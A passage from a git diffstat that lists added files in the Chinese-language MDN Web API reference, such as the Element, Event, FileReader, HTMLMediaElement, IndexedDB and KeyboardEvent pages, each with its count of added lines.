files/zh-cn/web/api/element/clienttop/index.html | 44 + files/zh-cn/web/api/element/clientwidth/index.html | 66 + files/zh-cn/web/api/element/closest/index.html | 142 + .../web/api/element/contextmenu_event/index.html | 101 + .../web/api/element/createshadowroot/index.html | 31 + .../zh-cn/web/api/element/currentstyle/index.html | 76 + .../web/api/element/dblclick_event/index.html | 223 ++ .../api/element/dommousescroll_event/index.html | 104 + .../zh-cn/web/api/element/getattribute/index.html | 74 + .../web/api/element/getattributenames/index.html | 98 + .../web/api/element/getattributenode/index.html | 48 + .../web/api/element/getattributenodens/index.html | 36 + .../api/element/getboundingclientrect/index.html | 97 + .../web/api/element/getclientrects/index.html | 225 ++ .../api/element/getelementsbyclassname/index.html | 89 + .../api/element/getelementsbytagname/index.html | 133 + .../api/element/getelementsbytagnamens/index.html | 128 + .../zh-cn/web/api/element/hasattribute/index.html | 31 + .../web/api/element/hasattributens/index.html | 47 + .../zh-cn/web/api/element/hasattributes/index.html | 23 + files/zh-cn/web/api/element/id/index.html | 73 + files/zh-cn/web/api/element/index.html | 488 +++ files/zh-cn/web/api/element/innerhtml/index.html | 218 ++ .../api/element/insertadjacentelement/index.html | 164 + .../web/api/element/insertadjacenthtml/index.html | 100 + .../web/api/element/insertadjacenttext/index.html | 151 + .../zh-cn/web/api/element/keydown_event/index.html | 103 + files/zh-cn/web/api/element/keyup_event/index.html | 97 + files/zh-cn/web/api/element/localname/index.html | 146 + files/zh-cn/web/api/element/matches/index.html | 117 + .../web/api/element/mousedown_event/index.html | 235 ++ .../web/api/element/mouseenter_event/index.html | 319 ++ .../web/api/element/mouseleave_event/index.html | 325 ++ .../web/api/element/mousemove_event/index.html | 163 + .../web/api/element/mouseout_event/index.html | 126 + .../zh-cn/web/api/element/mouseup_event/index.html | 81 + files/zh-cn/web/api/element/name/index.html | 70 + .../zh-cn/web/api/element/namespaceuri/index.html | 115 + .../api/element/onafterscriptexecute/index.html | 44 + .../web/api/element/onfullscreenchange/index.html | 78 + .../web/api/element/onfullscreenerror/index.html | 64 + .../web/api/element/ongotpointercapture/index.html | 142 + .../api/element/openorclosedshadowroot/index.html | 35 + files/zh-cn/web/api/element/outerhtml/index.html | 172 + files/zh-cn/web/api/element/prefix/index.html | 112 + .../zh-cn/web/api/element/queryselector/index.html | 132 + .../web/api/element/queryselectorall/index.html | 135 + .../web/api/element/removeattribute/index.html | 54 + .../web/api/element/removeattributenode/index.html | 40 + .../web/api/element/removeattributens/index.html | 37 + .../web/api/element/requestfullscreen/index.html | 177 + .../web/api/element/requestpointerlock/index.html | 48 + .../zh-cn/web/api/element/runtimestyle/index.html | 76 + files/zh-cn/web/api/element/scroll/index.html | 68 + files/zh-cn/web/api/element/scrollby/index.html | 72 + .../zh-cn/web/api/element/scrollheight/index.html | 154 + .../web/api/element/scrollintoview/index.html | 78 + .../api/element/scrollintoviewifneeded/index.html | 56 + files/zh-cn/web/api/element/scrollleft/index.html | 102 + .../zh-cn/web/api/element/scrollleftmax/index.html | 72 + files/zh-cn/web/api/element/scrollto/index.html | 77 + files/zh-cn/web/api/element/scrolltop/index.html | 82 + .../zh-cn/web/api/element/scrolltopmax/index.html | 72 + files/zh-cn/web/api/element/scrollwidth/index.html | 106 + .../zh-cn/web/api/element/select_event/index.html | 132 + .../zh-cn/web/api/element/setattribute/index.html | 97 + .../web/api/element/setattributenode/index.html | 46 + .../web/api/element/setattributenodens/index.html | 47 + .../web/api/element/setattributens/index.html | 37 + files/zh-cn/web/api/element/setcapture/index.html | 82 + .../web/api/element/setpointercapture/index.html | 113 + files/zh-cn/web/api/element/shadowroot/index.html | 132 + files/zh-cn/web/api/element/show_event/index.html | 77 + files/zh-cn/web/api/element/slot/index.html | 65 + files/zh-cn/web/api/element/tagname/index.html | 31 + .../web/api/element/toggleattribute/index.html | 113 + .../web/api/element/touchcancel_event/index.html | 68 + .../web/api/element/touchstart_event/index.html | 70 + files/zh-cn/web/api/element/wheel_event/index.html | 266 ++ files/zh-cn/web/api/entity/index.html | 52 + files/zh-cn/web/api/errorevent/index.html | 75 + files/zh-cn/web/api/event.altkey/index.html | 43 + files/zh-cn/web/api/event.button/index.html | 81 + files/zh-cn/web/api/event.relatedtarget/index.html | 123 + files/zh-cn/web/api/event.shiftkey/index.html | 40 + files/zh-cn/web/api/event/bubbles/index.html | 27 + files/zh-cn/web/api/event/cancelable/index.html | 74 + .../event/comparison_of_event_targets/index.html | 166 + files/zh-cn/web/api/event/composed/index.html | 97 + files/zh-cn/web/api/event/composedpath/index.html | 92 + files/zh-cn/web/api/event/createevent/index.html | 34 + files/zh-cn/web/api/event/currenttarget/index.html | 88 + files/zh-cn/web/api/event/deeppath/index.html | 89 + .../web/api/event/defaultprevented/index.html | 54 + files/zh-cn/web/api/event/event/index.html | 78 + files/zh-cn/web/api/event/eventphase/index.html | 179 + files/zh-cn/web/api/event/index.html | 212 + files/zh-cn/web/api/event/initevent/index.html | 130 + files/zh-cn/web/api/event/istrusted/index.html | 62 + .../zh-cn/web/api/event/originaltarget/index.html | 30 + .../zh-cn/web/api/event/preventdefault/index.html | 170 + files/zh-cn/web/api/event/returnvalue/index.html | 62 + files/zh-cn/web/api/event/srcelement/index.html | 76 + .../api/event/stopimmediatepropagation/index.html | 89 + .../zh-cn/web/api/event/stoppropagation/index.html | 80 + files/zh-cn/web/api/event/target/index.html | 87 + files/zh-cn/web/api/event/timestamp/index.html | 55 + files/zh-cn/web/api/event/type/index.html | 106 + .../index.html" | 93 + .../web/api/eventlistener/handleevent/index.html | 59 + files/zh-cn/web/api/eventlistener/index.html | 95 + .../api/eventtarget/addeventlistener/index.html | 684 ++++ .../web/api/eventtarget/attachevent/index.html | 96 + .../web/api/eventtarget/detachevent/index.html | 96 + .../web/api/eventtarget/dispatchevent/index.html | 73 + .../web/api/eventtarget/eventtarget/index.html | 74 + .../zh-cn/web/api/eventtarget/fireevent/index.html | 92 + files/zh-cn/web/api/eventtarget/index.html | 128 + .../api/eventtarget/removeeventlistener/index.html | 227 ++ files/zh-cn/web/api/ext_float_blend/index.html | 84 + files/zh-cn/web/api/extendableevent/index.html | 197 + .../web/api/extendableevent/waituntil/index.html | 73 + .../web/api/fetch_api/basic_concepts/index.html | 66 + .../fetch_api/cross-global_fetch_usage/index.html | 38 + files/zh-cn/web/api/fetch_api/index.html | 90 + .../zh-cn/web/api/fetch_api/using_fetch/index.html | 391 ++ .../zh-cn/web/api/fetchcontroller/abort/index.html | 85 + .../api/fetchcontroller/abortcontroller/index.html | 85 + files/zh-cn/web/api/fetchcontroller/index.html | 106 + files/zh-cn/web/api/fetchevent/index.html | 164 + .../web/api/fetchevent/respondwith/index.html | 141 + files/zh-cn/web/api/fetchobserver/index.html | 145 + files/zh-cn/web/api/file/file/index.html | 112 + files/zh-cn/web/api/file/filename/index.html | 16 + files/zh-cn/web/api/file/filesize/index.html | 16 + files/zh-cn/web/api/file/getasbinary/index.html | 42 + files/zh-cn/web/api/file/getasdataurl/index.html | 59 + files/zh-cn/web/api/file/getastext/index.html | 45 + files/zh-cn/web/api/file/index.html | 101 + files/zh-cn/web/api/file/lastmodified/index.html | 134 + .../zh-cn/web/api/file/lastmodifieddate/index.html | 22 + files/zh-cn/web/api/file/mozfullpath/index.html | 6 + files/zh-cn/web/api/file/name/index.html | 22 + files/zh-cn/web/api/file/size/index.html | 30 + files/zh-cn/web/api/file/type/index.html | 114 + .../using_files_from_web_applications/index.html | 536 +++ .../web/api/file/webkitrelativepath/index.html | 126 + .../firefox_support/index.html | 98 + .../api/file_and_directory_entries_api/index.html | 134 + files/zh-cn/web/api/file_handle_api/index.html | 284 ++ files/zh-cn/web/api/fileerror/index.html | 77 + files/zh-cn/web/api/fileexception/index.html | 182 + files/zh-cn/web/api/filelist/index.html | 179 + files/zh-cn/web/api/filereader/abort/index.html | 98 + files/zh-cn/web/api/filereader/error/index.html | 96 + .../zh-cn/web/api/filereader/filereader/index.html | 59 + files/zh-cn/web/api/filereader/index.html | 220 ++ .../zh-cn/web/api/filereader/load_event/index.html | 167 + files/zh-cn/web/api/filereader/onabort/index.html | 12 + files/zh-cn/web/api/filereader/onload/index.html | 25 + .../api/filereader/readasarraybuffer/index.html | 98 + .../api/filereader/readasbinarystring/index.html | 115 + .../web/api/filereader/readasdataurl/index.html | 121 + .../zh-cn/web/api/filereader/readastext/index.html | 110 + .../zh-cn/web/api/filereader/readystate/index.html | 101 + files/zh-cn/web/api/filereader/result/index.html | 96 + files/zh-cn/web/api/filereadersync/index.html | 239 ++ files/zh-cn/web/api/filerequest/index.html | 57 + files/zh-cn/web/api/filesystem/index.html | 105 + .../web/api/filesystemdirectoryentry/index.html | 199 + .../web/api/filesystemdirectoryreader/index.html | 67 + .../readentries/index.html | 68 + files/zh-cn/web/api/filesystementry/index.html | 113 + files/zh-cn/web/api/filesystemfileentry/index.html | 174 + files/zh-cn/web/api/filesystemsync/index.html | 107 + files/zh-cn/web/api/focusevent/index.html | 70 + files/zh-cn/web/api/fontface/index.html | 122 + files/zh-cn/web/api/fontfaceset/check/index.html | 112 + files/zh-cn/web/api/fontfaceset/index.html | 143 + files/zh-cn/web/api/force_touch_events/index.html | 47 + files/zh-cn/web/api/formdata/append/index.html | 180 + files/zh-cn/web/api/formdata/entries/index.html | 141 + files/zh-cn/web/api/formdata/formdata/index.html | 184 + files/zh-cn/web/api/formdata/get/index.html | 145 + files/zh-cn/web/api/formdata/getall/index.html | 145 + files/zh-cn/web/api/formdata/has/index.html | 144 + files/zh-cn/web/api/formdata/index.html | 81 + files/zh-cn/web/api/formdata/keys/index.html | 138 + files/zh-cn/web/api/formdata/set/index.html | 152 + .../api/formdata/using_formdata_objects/index.html | 149 + files/zh-cn/web/api/formdata/values/index.html | 141 + .../formdata/\345\210\240\351\231\244/index.html" | 71 + files/zh-cn/web/api/frame_timing_api/index.html | 50 + files/zh-cn/web/api/fullscreen_api/index.html | 205 + .../\346\214\207\345\215\227/index.html" | 235 ++ files/zh-cn/web/api/fullscreenoptions/index.html | 29 + files/zh-cn/web/api/gainnode/gain/index.html | 111 + files/zh-cn/web/api/gainnode/index.html | 98 + files/zh-cn/web/api/gamepad/index.html | 88 + files/zh-cn/web/api/gamepad_api/index.html | 100 + .../gamepad_api/using_the_gamepad_api/index.html | 356 ++ files/zh-cn/web/api/gamepadbutton/index.html | 85 + .../zh-cn/web/api/gamepadbutton/pressed/index.html | 52 + files/zh-cn/web/api/gamepadbutton/value/index.html | 53 + .../zh-cn/web/api/gamepadevent/gamepad/index.html | 51 + .../web/api/gamepadevent/gamepadevent/index.html | 50 + files/zh-cn/web/api/gamepadevent/index.html | 64 + files/zh-cn/web/api/gamepadpose/index.html | 63 + .../web/api/geolocation/clearwatch/index.html | 134 + .../api/geolocation/getcurrentposition/index.html | 134 + files/zh-cn/web/api/geolocation/index.html | 117 + .../api/geolocation/using_geolocation/index.html | 303 ++ .../web/api/geolocation/watchposition/index.html | 145 + .../web/api/geolocationcoordinates/index.html | 116 + .../api/geolocationcoordinates/latitude/index.html | 45 + .../web/api/geolocationposition/coords/index.html | 52 + files/zh-cn/web/api/geolocationposition/index.html | 108 + .../index.html" | 49 + .../web/api/geolocationpositionerror/index.html | 135 + files/zh-cn/web/api/gestureevent/index.html | 68 + .../globaleventhanders.ontouchmove/index.html | 124 + files/zh-cn/web/api/globaleventhandlers/index.html | 489 +++ .../web/api/globaleventhandlers/onabort/index.html | 102 + .../onanimationcancel/index.html | 248 ++ .../globaleventhandlers/onanimationend/index.html | 109 + .../onanimationiteration/index.html | 228 ++ .../api/globaleventhandlers/onauxclick/index.html | 115 + .../web/api/globaleventhandlers/onblur/index.html | 81 + .../api/globaleventhandlers/oncancel/index.html | 60 + .../api/globaleventhandlers/oncanplay/index.html | 47 + .../oncanplaythrough/index.html | 25 + .../api/globaleventhandlers/onchange/index.html | 43 + .../web/api/globaleventhandlers/onclick/index.html | 95 + .../web/api/globaleventhandlers/onclose/index.html | 67 + .../globaleventhandlers/oncontextmenu/index.html | 28 + .../api/globaleventhandlers/oncuechange/index.html | 53 + .../api/globaleventhandlers/ondblclick/index.html | 71 + .../web/api/globaleventhandlers/ondrag/index.html | 111 + .../api/globaleventhandlers/ondragleave/index.html | 196 + .../web/api/globaleventhandlers/ondrop/index.html | 159 + .../web/api/globaleventhandlers/onended/index.html | 48 + .../web/api/globaleventhandlers/onerror/index.html | 114 + .../web/api/globaleventhandlers/onfocus/index.html | 27 + .../api/globaleventhandlers/onformdata/index.html | 85 + .../ongotpointercapture/index.html | 115 + .../web/api/globaleventhandlers/oninput/index.html | 81 + .../api/globaleventhandlers/oninvalid/index.html | 98 + .../api/globaleventhandlers/onkeydown/index.html | 25 + .../api/globaleventhandlers/onkeypress/index.html | 109 + .../web/api/globaleventhandlers/onkeyup/index.html | 31 + .../web/api/globaleventhandlers/onload/index.html | 79 + .../globaleventhandlers/onloadeddata/index.html | 51 + .../onloadedmetadata/index.html | 53 + .../api/globaleventhandlers/onloadend/index.html | 47 + .../api/globaleventhandlers/onloadstart/index.html | 66 + .../onlostpointercapture/index.html | 121 + .../api/globaleventhandlers/onmousedown/index.html | 25 + .../globaleventhandlers/onmouseenter/index.html | 50 + .../globaleventhandlers/onmouseleave/index.html | 48 + .../api/globaleventhandlers/onmousemove/index.html | 158 + .../api/globaleventhandlers/onmouseout/index.html | 67 + .../api/globaleventhandlers/onmouseover/index.html | 66 + .../api/globaleventhandlers/onmouseup/index.html | 25 + .../web/api/globaleventhandlers/onpause/index.html | 46 + .../web/api/globaleventhandlers/onplay/index.html | 67 + .../api/globaleventhandlers/onplaying/index.html | 50 + .../globaleventhandlers/onpointercancel/index.html | 129 + .../globaleventhandlers/onpointerdown/index.html | 131 + .../globaleventhandlers/onpointerenter/index.html | 127 + .../globaleventhandlers/onpointerleave/index.html | 80 + .../globaleventhandlers/onpointermove/index.html | 134 + .../globaleventhandlers/onpointerout/index.html | 79 + .../globaleventhandlers/onpointerover/index.html | 82 + .../api/globaleventhandlers/onpointerup/index.html | 127 + .../web/api/globaleventhandlers/onreset/index.html | 63 + .../api/globaleventhandlers/onresize/index.html | 71 + .../api/globaleventhandlers/onscroll/index.html | 126 + .../api/globaleventhandlers/onselect/index.html | 59 + .../onselectionchange/index.html | 104 + .../globaleventhandlers/onselectstart/index.html | 104 + .../api/globaleventhandlers/onsubmit/index.html | 101 + .../globaleventhandlers/ontouchcancel/index.html | 126 + .../api/globaleventhandlers/ontouchmove/index.html | 128 + .../globaleventhandlers/ontouchstart/index.html | 126 + .../ontransitioncancel/index.html | 147 + .../globaleventhandlers/ontransitionend/index.html | 120 + .../web/api/globaleventhandlers/onwheel/index.html | 182 + .../index.html" | 52 + files/zh-cn/web/api/hashchangeevent/index.html | 135 + .../web/api/hashchangeevent/newurl/index.html | 47 + .../web/api/hashchangeevent/oldurl/index.html | 41 + files/zh-cn/web/api/headers/append/index.html | 84 + files/zh-cn/web/api/headers/delete/index.html | 136 + files/zh-cn/web/api/headers/entries/index.html | 117 + files/zh-cn/web/api/headers/get/index.html | 137 + files/zh-cn/web/api/headers/getall/index.html | 134 + files/zh-cn/web/api/headers/has/index.html | 127 + files/zh-cn/web/api/headers/headers/index.html | 129 + files/zh-cn/web/api/headers/index.html | 185 + files/zh-cn/web/api/headers/keys/index.html | 60 + files/zh-cn/web/api/headers/set/index.html | 80 + files/zh-cn/web/api/headers/values/index.html | 54 + files/zh-cn/web/api/history/back/index.html | 59 + files/zh-cn/web/api/history/forward/index.html | 58 + files/zh-cn/web/api/history/go/index.html | 77 + files/zh-cn/web/api/history/index.html | 91 + files/zh-cn/web/api/history/length/index.html | 55 + files/zh-cn/web/api/history/pushstate/index.html | 91 + .../zh-cn/web/api/history/replacestate/index.html | 66 + .../web/api/history/scrollrestoration/index.html | 75 + files/zh-cn/web/api/history/state/index.html | 69 + files/zh-cn/web/api/history_api/example/index.html | 413 ++ files/zh-cn/web/api/history_api/index.html | 213 ++ .../working_with_the_history_api/index.html | 126 + files/zh-cn/web/api/html_dom_api/index.html | 460 +++ .../microtask_guide/in_depth/index.html | 185 + .../api/html_dom_api/microtask_guide/index.html | 315 ++ .../drag_operations/index.html | 319 ++ .../file_drag_and_drop/index.html | 91 + .../web/api/html_drag_and_drop_api/index.html | 287 ++ .../multiple_items/index.html | 160 + .../recommended_drag_types/index.html | 222 ++ .../web/api/htmlanchorelement/download/index.html | 48 + files/zh-cn/web/api/htmlanchorelement/index.html | 205 + .../web/api/htmlanchorelement/referrer/index.html | 116 + files/zh-cn/web/api/htmlareaelement/index.html | 197 + .../web/api/htmlaudioelement/audio/index.html | 91 + files/zh-cn/web/api/htmlaudioelement/index.html | 108 + files/zh-cn/web/api/htmlbaseelement/index.html | 122 + files/zh-cn/web/api/htmlbasefontelement/index.html | 63 + files/zh-cn/web/api/htmlbodyelement/index.html | 274 ++ files/zh-cn/web/api/htmlbrelement/index.html | 59 + files/zh-cn/web/api/htmlbuttonelement/index.html | 293 ++ .../api/htmlcanvaselement/getcontext/index.html | 161 + .../web/api/htmlcanvaselement/height/index.html | 123 + files/zh-cn/web/api/htmlcanvaselement/index.html | 92 + .../web/api/htmlcanvaselement/mozopaque/index.html | 53 + .../web/api/htmlcanvaselement/toblob/index.html | 204 + .../web/api/htmlcanvaselement/todataurl/index.html | 155 + .../transfercontroltooffscreen/index.html | 65 + .../webglcontextlost_event/index.html | 82 + .../web/api/htmlcanvaselement/width/index.html | 123 + .../index.html" | 122 + files/zh-cn/web/api/htmlcollection/index.html | 66 + files/zh-cn/web/api/htmlcollection/item/index.html | 36 + files/zh-cn/web/api/htmlcontentelement/index.html | 54 + files/zh-cn/web/api/htmldataelement/index.html | 68 + .../zh-cn/web/api/htmldataelement/value/index.html | 45 + files/zh-cn/web/api/htmldetailselement/index.html | 44 + .../api/htmldetailselement/toggle_event/index.html | 120 + files/zh-cn/web/api/htmldialogelement/index.html | 247 ++ .../web/api/htmldialogelement/show/index.html | 113 + files/zh-cn/web/api/htmldivelement/index.html | 67 + files/zh-cn/web/api/htmldocument/index.html | 38 + .../web/api/htmlelement/accesskeylabel/index.html | 84 + .../htmlelement/animationcancel_event/index.html | 174 + .../animationiteration_event/index.html | 179 + .../api/htmlelement/beforeinput_event/index.html | 101 + files/zh-cn/web/api/htmlelement/blur/index.html | 24 + files/zh-cn/web/api/htmlelement/click/index.html | 44 + .../web/api/htmlelement/contenteditable/index.html | 62 + .../web/api/htmlelement/contextmenu/index.html | 35 + files/zh-cn/web/api/htmlelement/dataset/index.html | 123 + files/zh-cn/web/api/htmlelement/dir/index.html | 50 + files/zh-cn/web/api/htmlelement/focus/index.html | 158 + .../web/api/htmlelement/forcespellcheck/index.html | 92 + files/zh-cn/web/api/htmlelement/hidden/index.html | 196 + files/zh-cn/web/api/htmlelement/index.html | 502 +++ .../api/htmlelement/iscontenteditable/index.html | 107 + files/zh-cn/web/api/htmlelement/lang/index.html | 40 + files/zh-cn/web/api/htmlelement/nonce/index.html | 60 + .../web/api/htmlelement/offsetheight/index.html | 80 + .../web/api/htmlelement/offsetleft/index.html | 148 + .../web/api/htmlelement/offsetparent/index.html | 48 + .../zh-cn/web/api/htmlelement/offsettop/index.html | 57 + .../web/api/htmlelement/offsetwidth/index.html | 59 + files/zh-cn/web/api/htmlelement/oncopy/index.html | 44 + files/zh-cn/web/api/htmlelement/oncut/index.html | 46 + files/zh-cn/web/api/htmlelement/onpaste/index.html | 57 + .../zh-cn/web/api/htmlelement/outertext/index.html | 87 + .../api/htmlelement/pointercancel_event/index.html | 101 + files/zh-cn/web/api/htmlelement/style/index.html | 80 + .../zh-cn/web/api/htmlelement/tabindex/index.html | 49 + files/zh-cn/web/api/htmlelement/title/index.html | 76 + files/zh-cn/web/api/htmlfieldsetelement/index.html | 84 + .../web/api/htmlformelement/action/index.html | 31 + .../web/api/htmlformelement/elements/index.html | 22 + .../web/api/htmlformelement/enctype/index.html | 32 + files/zh-cn/web/api/htmlformelement/index.html | 266 ++ .../api/htmlformelement/reportvalidity/index.html | 57 + .../zh-cn/web/api/htmlformelement/reset/index.html | 19 + .../web/api/htmlformelement/reset_event/index.html | 57 + .../web/api/htmlformelement/submit/index.html | 42 + .../api/htmlformelement/submit_event/index.html | 64 + files/zh-cn/web/api/htmlheadelement/index.html | 135 + files/zh-cn/web/api/htmlhtmlelement/index.html | 123 + .../web/api/htmlhtmlelement/version/index.html | 12 + .../api/htmliframeelement/contentwindow/index.html | 42 + files/zh-cn/web/api/htmliframeelement/index.html | 406 ++ .../web/api/htmlimageelement/complete/index.html | 90 + .../web/api/htmlimageelement/decode/index.html | 68 + .../web/api/htmlimageelement/decoding/index.html | 63 + .../web/api/htmlimageelement/image/index.html | 111 + files/zh-cn/web/api/htmlimageelement/index.html | 170 + .../web/api/htmlimageelement/loading/index.html | 98 + .../api/htmlimageelement/referrerpolicy/index.html | 120 + .../web/api/htmlimageelement/srcset/index.html | 126 + files/zh-cn/web/api/htmlinputelement/index.html | 648 ++++ .../api/htmlinputelement/invalid_event/index.html | 109 + .../web/api/htmlinputelement/labels/index.html | 71 + .../mozsetfilenamearray/index.html | 48 + .../web/api/htmlinputelement/multiple/index.html | 44 + .../web/api/htmlinputelement/select/index.html | 69 + .../htmlinputelement/setselectionrange/index.html | 110 + files/zh-cn/web/api/htmllabelelement/index.html | 137 + files/zh-cn/web/api/htmllielement/index.html | 76 + files/zh-cn/web/api/htmllinkelement/index.html | 128 + .../api/htmllinkelement/referrerpolicy/index.html | 59 + .../api/htmlmediaelement/abort_event/index.html | 84 + .../api/htmlmediaelement/audiotracks/index.html | 110 + .../web/api/htmlmediaelement/autoplay/index.html | 110 + .../web/api/htmlmediaelement/buffered/index.html | 111 + .../api/htmlmediaelement/canplay_event/index.html | 82 + .../canplaythrough_event/index.html | 82 + .../api/htmlmediaelement/canplaytype/index.html | 80 + .../web/api/htmlmediaelement/controller/index.html | 54 + .../web/api/htmlmediaelement/controls/index.html | 103 + .../api/htmlmediaelement/controlslist/index.html | 48 + .../api/htmlmediaelement/crossorigin/index.html | 42 + .../web/api/htmlmediaelement/currentsrc/index.html | 56 + .../api/htmlmediaelement/currenttime/index.html | 118 + .../web/api/htmlmediaelement/duration/index.html | 61 + .../durationchange_event/index.html | 125 + .../api/htmlmediaelement/ended_event/index.html | 99 + .../api/htmlmediaelement/error_event/index.html | 76 + files/zh-cn/web/api/htmlmediaelement/index.html | 429 +++ .../zh-cn/web/api/htmlmediaelement/load/index.html | 74 + .../htmlmediaelement/loadeddata_event/index.html | 80 + .../htmlmediaelement/loadstart_event/index.html | 155 + .../zh-cn/web/api/htmlmediaelement/loop/index.html | 116 + .../web/api/htmlmediaelement/muted/index.html | 59 + .../api/htmlmediaelement/networkstate/index.html | 161 + .../web/api/htmlmediaelement/onerror/index.html | 48 + .../web/api/htmlmediaelement/pause/index.html | 56 + .../api/htmlmediaelement/pause_event/index.html | 127 + .../web/api/htmlmediaelement/paused/index.html | 104 + .../zh-cn/web/api/htmlmediaelement/play/index.html | 134 + .../web/api/htmlmediaelement/play_event/index.html | 120 + .../api/htmlmediaelement/playbackrate/index.html | 65 + .../api/htmlmediaelement/playing_event/index.html | 80 + .../api/htmlmediaelement/progress_event/index.html | 153 + .../web/api/htmlmediaelement/readystate/index.html | 158 + .../web/api/htmlmediaelement/seekable/index.html | 71 + .../zh-cn/web/api/htmlmediaelement/src/index.html | 60 + .../web/api/htmlmediaelement/srcobject/index.html | 102 + .../htmlmediaelement/timeupdate_event/index.html | 128 + .../api/htmlmediaelement/videotracks/index.html | 51 + .../web/api/htmlmediaelement/volume/index.html | 57 + files/zh-cn/web/api/htmloptgroupelement/index.html | 76 + files/zh-cn/web/api/htmloptionelement/index.html | 132 + .../web/api/htmloptionelement/option/index.html | 47 + .../zh-cn/web/api/htmlparagraphelement/index.html | 71 + files/zh-cn/web/api/htmlprogresselement/index.html | 136 + files/zh-cn/web/api/htmlscriptelement/index.html | 284 ++ .../zh-cn/web/api/htmlselectelement/add/index.html | 168 + .../api/htmlselectelement/checkvalidity/index.html | 98 + files/zh-cn/web/api/htmlselectelement/index.html | 168 + .../web/api/htmlselectelement/remove/index.html | 94 + .../api/htmlselectelement/selectedindex/index.html | 80 + .../htmlselectelement/setcustomvalidity/index.html | 110 + files/zh-cn/web/api/htmlslotelement/index.html | 103 + .../zh-cn/web/api/htmlslotelement/name/index.html | 63 + files/zh-cn/web/api/htmlspanelement/index.html | 61 + files/zh-cn/web/api/htmlstyleelement/index.html | 90 + .../api/htmltableelement/createcaption/index.html | 26 + .../api/htmltableelement/deletethead/index.html | 63 + files/zh-cn/web/api/htmltableelement/index.html | 130 + .../zh-cn/web/api/htmltableelement/rows/index.html | 37 + files/zh-cn/web/api/htmltablerowelement/index.html | 100 + .../api/htmltablerowelement/rowindex/index.html | 58 + .../web/api/htmltemplateelement/content/index.html | 51 + files/zh-cn/web/api/htmltemplateelement/index.html | 51 + files/zh-cn/web/api/htmltextareaelement/index.html | 334 ++ files/zh-cn/web/api/htmlunknownelement/index.html | 102 + files/zh-cn/web/api/htmlvideoelement/index.html | 198 + files/zh-cn/web/api/idbcursor/direction/index.html | 150 + files/zh-cn/web/api/idbcursor/index.html | 161 + files/zh-cn/web/api/idbcursor/key/index.html | 194 + files/zh-cn/web/api/idbcursorsync/index.html | 146 + .../api/idbdatabase/createobjectstore/index.html | 178 + .../api/idbdatabase/deleteobjectstore/index.html | 114 + files/zh-cn/web/api/idbdatabase/index.html | 225 ++ .../web/api/idbdatabase/onversionchange/index.html | 99 + files/zh-cn/web/api/idbenvironment/index.html | 71 + files/zh-cn/web/api/idbfactory/index.html | 143 + files/zh-cn/web/api/idbfactory/open/index.html | 79 + files/zh-cn/web/api/idbindex/index.html | 214 ++ files/zh-cn/web/api/idbkeyrange/index.html | 193 + .../web/api/idbkeyrange/lowerbound/index.html | 126 + files/zh-cn/web/api/idbobjectstore/add/index.html | 179 + .../api/idbobjectstore/autoincrement/index.html | 133 + files/zh-cn/web/api/idbobjectstore/get/index.html | 149 + files/zh-cn/web/api/idbobjectstore/index.html | 759 ++++ .../web/api/idbobjectstore/indexnames/index.html | 110 + .../web/api/idbobjectstore/keypath/index.html | 115 + .../web/api/idbobjectstore/opencursor/index.html | 171 + files/zh-cn/web/api/idbobjectstore/put/index.html | 163 + files/zh-cn/web/api/idbopendbrequest/index.html | 125 + files/zh-cn/web/api/idbrequest/index.html | 230 ++ .../api/idbtransaction/complete_event/index.html | 124 + files/zh-cn/web/api/idbtransaction/db/index.html | 112 + files/zh-cn/web/api/idbtransaction/index.html | 278 ++ files/zh-cn/web/api/identitymanager/index.html | 43 + .../zh-cn/web/api/identitymanager/watch/index.html | 59 + files/zh-cn/web/api/idledeadline/index.html | 116 + .../web/api/idledeadline/timeremaining/index.html | 59 + files/zh-cn/web/api/imagebitmap/height/index.html | 33 + files/zh-cn/web/api/imagebitmap/index.html | 132 + files/zh-cn/web/api/imagebitmap/width/index.html | 33 + .../web/api/imagebitmaprenderingcontext/index.html | 44 + files/zh-cn/web/api/imagedata/data/index.html | 95 + files/zh-cn/web/api/imagedata/height/index.html | 94 + files/zh-cn/web/api/imagedata/imagedata/index.html | 66 + files/zh-cn/web/api/imagedata/index.html | 63 + files/zh-cn/web/api/imagedata/width/index.html | 94 + files/zh-cn/web/api/index.html | 35 + .../basic_concepts_behind_indexeddb/index.html | 204 + .../index.html | 132 + .../checking_when_a_deadline_is_due/index.html | 208 + files/zh-cn/web/api/indexeddb_api/index.html | 155 + .../api/indexeddb_api/using_indexeddb/index.html | 1340 +++++++ .../using_indexeddb_in_chrome/index.html | 27 + files/zh-cn/web/api/inputevent/data/index.html | 69 + .../web/api/inputevent/datatransfer/index.html | 72 + files/zh-cn/web/api/inputevent/index.html | 61 + .../zh-cn/web/api/inputevent/inputevent/index.html | 50 + .../zh-cn/web/api/inputevent/inputtype/index.html | 82 + .../web/api/inputevent/iscomposing/index.html | 96 + files/zh-cn/web/api/installevent/index.html | 150 + .../web/api/intersection_observer_api/index.html | 167 + .../index.html" | 562 +++ .../api/intersectionobserver/disconnect/index.html | 55 + .../zh-cn/web/api/intersectionobserver/index.html | 98 + .../intersectionobserver/index.html | 73 + .../api/intersectionobserver/observe/index.html | 64 + .../web/api/intersectionobserver/root/index.html | 90 + .../api/intersectionobserver/rootmargin/index.html | 48 + .../intersectionobserver/takerecords/index.html | 60 + .../api/intersectionobserver/thresholds/index.html | 52 + .../api/intersectionobserver/unobserve/index.html | 69 + .../web/api/intersectionobserverentry/index.html | 54 + files/zh-cn/web/api/keyboard/index.html | 68 + .../zh-cn/web/api/keyboardevent/altkey/index.html | 126 + .../web/api/keyboardevent/charcode/index.html | 144 + files/zh-cn/web/api/keyboardevent/code/index.html | 3816 ++++++++++++++++++ .../zh-cn/web/api/keyboardevent/ctrlkey/index.html | 126 + files/zh-cn/web/api/keyboardevent/index.html | 330 ++ .../web/api/keyboardevent/initkeyevent/index.html | 85 + .../web/api/keyboardevent/iscomposing/index.html | 102 + files/zh-cn/web/api/keyboardevent/key/index.html | 292 ++ .../api/keyboardevent/key/key_values/index.html | 3638 ++++++++++++++++++ .../web/api/keyboardevent/keyboardevent/index.html | 151 + .../zh-cn/web/api/keyboardevent/keycode/index.html | 3220 ++++++++++++++++ .../web/api/keyboardevent/location/index.html | 104 + .../zh-cn/web/api/keyboardevent/metakey/index.html | 66 + .../zh-cn/web/api/keyboardevent/repeat/index.html | 85 + .../web/api/keyboardevent/shiftkey/index.html | 128 + files/zh-cn/web/api/keyboardevent/which/index.html | 101 + files/zh-cn/web/api/localfilesystemsync/index.html | 227 ++ files/zh-cn/web/api/location/assign/index.html | 71 + files/zh-cn/web/api/location/hash/index.html | 